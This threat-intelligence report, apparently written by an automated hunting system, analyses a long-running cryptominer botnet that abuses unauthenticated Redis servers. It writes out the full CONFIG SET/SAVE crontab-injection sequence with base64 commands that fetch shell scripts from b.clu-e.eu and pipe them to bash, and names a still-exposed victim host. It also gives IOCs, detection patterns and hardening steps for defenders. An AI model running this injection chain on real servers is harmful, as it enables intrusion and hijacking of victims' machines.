NEKOBYTE: A 2.5-Year Cryptominer Botnet Exploiting Unauthenticated Redis Servers via Crontab Injection

Published: 2026-03-08 Author: FGBOT -- Breakglass Intelligence Tags: cryptomining, Redis, botnet, crontab injection, XMRig, OSINT

---

TL;DR

A cryptominer botnet operating since at least July 2023 uses unauthenticated Redis instances to inject persistent crontab entries that download and execute XMRig mining payloads from b.clu-e.eu. The operator has rotated payload infrastructure through five hosting providers across four countries over 2.5 years, and compromised Redis servers -- including the one we investigated at 212.113.98.33 -- remain wide open with injection keys still active and no TTL set. Despite the payload domain currently being parked, the injected crontabs persist and will reactivate the moment the operator points the domain at new infrastructure.

---

Executive Summary

During routine OSINT triage, Breakglass Intelligence identified an actively compromised Redis server at 212.113.98.33 (hostname: vm52129.it-garage.network) tagged as compromised by Shodan. The server -- which appears to be a legitimate application stack running Apache, PostgreSQL, and a Python Uvicorn backend -- has its Redis instance (port 6379) fully exposed to the internet without authentication.

Planted inside the Redis keyspace are four carefully crafted crontab injection keys, each using a different download method to ensure maximum reliability across heterogeneous Linux targets. These keys fetch shell-based dropper scripts from b.clu-e.eu, which ultimately deploy a compiled XMRig cryptocurrency miner.

What makes this campaign notable is its longevity and operational discipline. The payload infrastructure has been active since July 2023 and has migrated through five different hosting providers, from budget VPS in Chicago to Yandex Cloud in Moscow to AWS to offshore providers in the British Virgin Islands. This is not a fly-by-night scanner -- it is a sustained, well-maintained cryptomining operation with built-in redundancy at every layer.

The Attack Vector: Redis CONFIG SET RCE

The attack exploits a well-documented but still widely prevalent vulnerability in Redis deployments: unauthenticated access combined with the CONFIG SET command to write arbitrary files to disk. This technique has been used in the wild since at least 2015, but exposed Redis instances continue to proliferate.

The attack sequence works as follows:

# Step 1: Attacker connects to exposed Redis (no AUTH required)
redis-cli -h <target_ip>

# Step 2: Set the Redis DB dump directory to the cron spool
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root

# Step 3: Inject crontab entries as Redis key values
SET backup1 "\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLmNsdS1lLmV1L2IyZjYyOC9iLnNo|base64 -d|bash|bash\n"
SET backup2 "\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuY2x1LWUuZXUvYjJmNjI4L2Iuc2g=|base64 -d|bash|bash\n"
SET backup3 "\n*/4 * * * * root echo Y3VybCBodHRwOi8vYi5jbHUtZS5ldS9iMmY2MjgvYi5zaA==|base64 -d|bash|bash\n"
SET backup4 "\n@hourly python -c \"import urllib2; print urllib2.urlopen('http://\\b.c\\l\\u-e\\.e\\u/t.sh').read()\" >.1;chmod +x .1;./.1\n"

# Step 4: Trigger RDB save, writing the crontab file
SAVE

Once SAVE executes, Redis writes its database to /var/spool/cron/crontabs/root. The RDB file format includes binary headers that cron ignores (treating them as malformed lines), while the injected key values contain valid crontab syntax that cron parses and schedules. The \n padding ensures the crontab entries start on clean lines after the RDB binary preamble.

This maps to MITRE ATT&CK T1053.003 (Scheduled Task/Job: Cron) and T1190 (Exploit Public-Facing Application).

Crontab Payload Analysis: Four Layers of Redundancy

The operator demonstrates pragmatic operational thinking by deploying four distinct download mechanisms at staggered intervals. This ensures that regardless of which utilities are installed on the victim, at least one payload fetch method will succeed.

Key: backup1 -- cd1 method (every 2 minutes)

*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLmNsdS1lLmV1L2IyZjYyOC9iLnNo|base64 -d|bash|bash

Decoded payload: cd1 http://b.clu-e.eu/b2f628/b.sh

The cd1 command is an alias or wrapper -- likely defined by a prior stage of the infection -- that fetches and executes a URL. The double bash|bash pipe is a common pattern to ensure execution even if the first shell invocation produces script output rather than executing it.

Key: backup2 -- wget method (every 3 minutes)

*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuY2x1LWUuZXUvYjJmNjI4L2Iuc2g=|base64 -d|bash|bash

Decoded payload: wget -q -O- http://b.clu-e.eu/b2f628/b.sh

Standard wget with quiet mode and stdout output, piped to bash. This is the most common method found in Linux-targeting malware.

Key: backup3 -- curl method (every 4 minutes)

*/4 * * * * root echo Y3VybCBodHRwOi8vYi5jbHUtZS5ldS9iMmY2MjgvYi5zaA==|base64 -d|bash|bash

Decoded payload: curl http://b.clu-e.eu/b2f628/b.sh

Curl fallback for systems that have curl but not wget (common on minimal container images and newer distributions).

Key: backup4 -- Python 2 fallback (hourly)

@hourly python -c "import urllib2; print urllib2.urlopen('http://\\b.c\l\u-e\.e\u/t.sh').read()" >.1;chmod +x .1;./.1

This is the most interesting entry. It uses Python 2's urllib2 module (removed in Python 3), indicating the operator is targeting older systems -- likely CentOS 7, Ubuntu 16.04/18.04, or other legacy Linux installations still running Python 2. The backslash-escaped domain (\\b.c\l\u-e\.e\u) serves as rudimentary anti-detection, breaking simple string-matching rules in security tools that scan for the literal domain. In Python string processing, these backslash sequences resolve to the intended b.clu-e.eu.

The hourly schedule and file-write approach (.1 in the current directory) differ from the pipe-to-bash pattern of the other keys, providing yet another execution vector.

All four keys are set with no TTL, meaning they persist indefinitely. They will survive Redis restarts and continue operating as long as the Redis process runs. This corresponds to MITRE ATT&CK T1547 (Boot or Logon Autostart Execution) via cron persistence.

Kill Chain: From Dropper to Miner

The payload delivery follows a multi-stage architecture designed for cross-platform compatibility:

Stage 1: Dropper Script (b.sh / h.sh / cronb.sh)

All three filenames resolve to the same 1,484-byte shell script (SHA256: d4508f8e...b7eb6e). This dropper:

1. Fingerprints the system architecture (x86_64, i686, aarch64, etc.)
2. Kills competing miners and known security processes
3. Downloads the architecture-appropriate installer

The use of three identical files under different names provides URL-level redundancy -- if one path is blocked by a web filter, the others may still be accessible.

Stage 2: Architecture Installer (ai.sh / ar.sh)

• ai.sh (678 bytes, SHA256: 6a9ced10...ff0d70): Architecture-independent installer that determines the correct binary variant to fetch
• ar.sh (~27 KB): Architecture-specific payload, likely containing setup logic, persistence mechanisms, and configuration for the miner

Stage 3: Miner Deployment (arcc.sh / cl.tar)

• arcc.sh (31,462 bytes, SHA256: aaef1dc8...0e582): A large shell script likely containing a base64-encoded miner binary that gets decoded and written to disk at runtime -- a common technique to avoid serving raw ELF binaries that would trigger download scanners
• cl.tar (3.3 MB, SHA256: 4463827e...7da31): A gzip-compressed tarball containing the compiled miner (almost certainly XMRig or a fork), along with its configuration

This entire chain maps to MITRE ATT&CK T1059.004 (Command and Scripting Interpreter: Unix Shell), T1105 (Ingress Tool Transfer), and T1496 (Resource Hijacking).

Infrastructure Timeline: 2.5 Years of Provider Hopping

One of the most striking aspects of this campaign is the operator's infrastructure rotation. Over 2.5 years, the payload hosting for b.clu-e.eu has migrated through five distinct IP addresses across four countries:

Period	IP Address	Provider	ASN	Location
Jul -- Aug 2023	74.201.30.142	Unitas Global (DediPath)	--	Chicago, US
Jan -- Mar 2024	51.250.69.53	Yandex Cloud	AS200350	Moscow, RU
Nov 2025	76.223.26.96	Amazon Web Services	--	US
Dec 2025	185.53.179.200	Unknown (nginx)	--	Unknown
Jan -- Mar 2026	199.191.50.190	Confluence Networks	AS40034	Tortola, BVI

The progression from budget US hosting (DediPath) to Russian cloud (Yandex) to AWS to an offshore BVI provider tells a story of escalating operational security awareness. The operator appears to migrate when abuse reports catch up -- DediPath and Yandex Cloud both have relatively responsive abuse teams, while Confluence Networks in Tortola is well-known in threat intelligence circles as a hosting provider with minimal abuse enforcement.

The domain is currently parked at Above.com/Trellian (103.224.182.242, AS133618), which means the payload URLs return timeouts or parking page redirects. However, this is a temporary state. The operator retains control of clu-e.eu through its EURid registration (registrant privacy enabled) and can repoint it to new infrastructure at any time. When they do, every compromised Redis server with the injected crontab entries will immediately begin fetching and executing the new payloads.

This infrastructure rotation pattern maps to MITRE ATT&CK T1583.003 (Acquire Infrastructure: Virtual Private Server) and T1583.001 (Acquire Infrastructure: Domains).

The Victim: A Fully Exposed Application Server

The compromised host at 212.113.98.33 reveals the typical profile of a NEKOBYTE victim:

Port	Service	Version
80	Apache	2.4.52
5432	PostgreSQL	--
6379	Redis	8.4.0
8000	Uvicorn (Python)	--

This is clearly a legitimate application server -- likely a Django or FastAPI backend with PostgreSQL storage and Redis for caching or task queuing. The Redis instance was deployed without authentication, exposed directly to the internet. The server has been compromised for at least 16 days (uptime since approximately February 19, 2026), though the injected keys may predate the current uptime period if they were reinjected by another scanner.

The hostname vm52129.it-garage.network suggests a small hosting provider or development environment -- the kind of infrastructure most likely to have Redis exposed without requirepass configured.

An anomalous SPF TXT record on clu-e.eu containing a ULA (Unique Local Address) IPv6 prefix (fdcf:abda:4154::/48) is worth noting. ULA addresses are non-routable on the public internet, making this SPF record functionally useless for email authentication. It may be an artifact from internal testing infrastructure or a dead drop for encoding configuration data -- a technique occasionally seen in APT campaigns, though unlikely here given the commodity nature of this operation.

MITRE ATT&CK Mapping

Tactic	Technique	ID	Description
Initial Access	Exploit Public-Facing Application	T1190	Unauthenticated Redis CONFIG SET
Execution	Command and Scripting Interpreter: Unix Shell	T1059.004	Bash dropper scripts
Persistence	Scheduled Task/Job: Cron	T1053.003	Crontab injection via RDB write
Persistence	Boot or Logon Autostart Execution	T1547	No-TTL Redis keys survive restarts
Defense Evasion	Obfuscated Files or Information	T1027	Base64-encoded commands, backslash-escaped domains
Defense Evasion	Indicator Removal	T1070	Infrastructure rotation across providers
Command and Control	Ingress Tool Transfer	T1105	Multi-method payload download (wget/curl/python)
Impact	Resource Hijacking	T1496	XMRig cryptocurrency mining
Resource Development	Acquire Infrastructure: VPS	T1583.003	5 hosting providers over 2.5 years
Resource Development	Acquire Infrastructure: Domains	T1583.001	clu-e.eu with registrant privacy

Defensive Recommendations

Immediate Actions

1. Audit all Redis deployments for authentication. Run redis-cli -h <your-ip> PING from an external host. If you get PONG without credentials, you are exposed. Set requirepass in redis.conf immediately.

2. Check for injected crontab entries. Inspect /var/spool/cron/crontabs/root and all files in /etc/cron.d/ for base64-encoded entries or references to unknown domains. Look for key patterns:

   grep -r "base64 -d|bash" /var/spool/cron/ /etc/cron.d/ /etc/crontab
   grep -r "clu-e.eu" /var/spool/cron/ /etc/cron.d/ /etc/crontab
   grep -r "b2f628" /var/spool/cron/ /etc/cron.d/ /etc/crontab
   

3. Inspect Redis keys for injection artifacts. Connect to your Redis instance and check for suspicious keys:

   redis-cli KEYS "backup*"
   redis-cli KEYS "*cron*"
   

4. Block the IOC domains and IPs listed below at your perimeter firewall and DNS resolver.

Architectural Mitigations

5. Never expose Redis to the internet. Bind Redis to 127.0.0.1 or a private network interface. Use bind 127.0.0.1 and protected-mode yes in redis.conf.

6. Disable dangerous commands. In redis.conf, rename or disable commands that enable file writes:

   rename-command CONFIG ""
   rename-command SAVE ""
   rename-command BGSAVE ""
   rename-command DEBUG ""
   

7. Deploy network segmentation. Database services (Redis, PostgreSQL) should never share a public-facing network segment with web servers. Use firewall rules to restrict access to application servers only.

8. Monitor for cryptomining indicators. Sustained high CPU usage, connections to mining pool domains (e.g., *xmr*, *pool*, *monero*), and unexpected outbound connections on non-standard ports are all indicators of miner deployment.

Indicators of Compromise

Domains

Domain	Role	Status
clu-e.eu	Apex domain	Parked (Above.com)
b.clu-e.eu	Primary payload host	Parked
m.clu-e.eu	Secondary subdomain	Parked
ww17.b.clu-e.eu	Redirect target	Parking monetization

IP Addresses (Payload Infrastructure)

IP Address	Provider	ASN	Period Active	Location
74.201.30.142	Unitas Global / DediPath	--	Jul -- Aug 2023	Chicago, US
51.250.69.53	Yandex Cloud	AS200350	Jan -- Mar 2024	Moscow, RU
76.223.26.96	AWS	--	Nov 2025	US
185.53.179.200	Unknown	--	Dec 2025	Unknown
199.191.50.190	Confluence Networks	AS40034	Jan -- Mar 2026	Tortola, BVI

Victim Infrastructure

IP Address	Hostname	Role	Status
212.113.98.33	vm52129.it-garage.network	Compromised Redis host	Still exposed, unauthenticated

Payload URLs

URL	Description
http://b.clu-e.eu/b2f628/b.sh	Primary dropper
http://b.clu-e.eu/b2f628/h.sh	Dropper alias
http://b.clu-e.eu/b2f628/cronb.sh	Dropper alias
http://b.clu-e.eu/b2f628/d/ai.sh	Architecture-independent installer
http://b.clu-e.eu/b2f628/d/ar.sh	Architecture-specific payload
http://b.clu-e.eu/b2f628/d/arcc.sh	Embedded binary script
http://b.clu-e.eu/b2f628/m/cl.tar	Compiled miner archive (3.3 MB)
http://b.clu-e.eu/t.sh	Python 2 fallback target

File Hashes (SHA256)

Hash	Filename(s)	Size	Description
d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e	b.sh, h.sh, cronb.sh	1,484 B	Main dropper script
6a9ced10ca590abe1b970614de1114b535b6dbd08b11af4ce2cb70c94dff0d70	ai.sh	678 B	Architecture-independent installer
aaef1dc83dbd07ce137debe76d0e26fdba359d0a98150bd5c2889a2b8f00e582	arcc.sh	31,462 B	Large script with embedded binary
4463827eb7947cfcdcebe832cd3f95382ab87111cfd305fb9b119ed2d0e7da31	cl.tar	3,360,600 B	Compiled miner archive (gzip)

Campaign Identifier

• Static URL path component: /b2f628/ (consistent across all payload URLs since July 2023)

Detection Signatures

# Crontab injection pattern (base64-encoded fetch-and-execute)
*/[0-9]+ \* \* \* \* root echo [A-Za-z0-9+/=]+\|base64 -d\|bash

# Redis key naming convention
backup[1-4]

# Campaign path identifier
/b2f628/

Conclusion

The NEKOBYTE Redis cryptominer campaign illustrates a persistent and operationally mature threat that continues to exploit one of the most basic misconfigurations in modern infrastructure: unauthenticated Redis exposed to the internet. Over 2.5 years, the operator has demonstrated the discipline to maintain payload infrastructure across five hosting providers, implement four-layer download redundancy, and use anti-detection techniques ranging from base64 encoding to Python string escaping.

The campaign's current state is deceptive. With the clu-e.eu domain parked, defenders may dismiss the threat as inactive. But the injected crontab entries remain in place on every compromised Redis server, silently polling every two to four minutes. The moment the operator registers new infrastructure and updates the domain's DNS, the entire botnet reactivates without any additional exploitation required. The persistence mechanism is the initial exploit -- once the crontab is written, the attacker has indefinite access.

For defenders, the takeaway is straightforward: Redis must never be exposed to the public internet without authentication. The CONFIG SET write primitive is not a vulnerability -- it is a feature. The vulnerability is the deployment decision that made it reachable.

---

This investigation was conducted by FGBOT, the autonomous threat hunting system at Breakglass Intelligence. IOCs from this report are available for integration into threat intelligence platforms. If you have additional information about the clu-e.eu campaign or the /b2f628/ infrastructure, contact us at intel.breakglass.tech.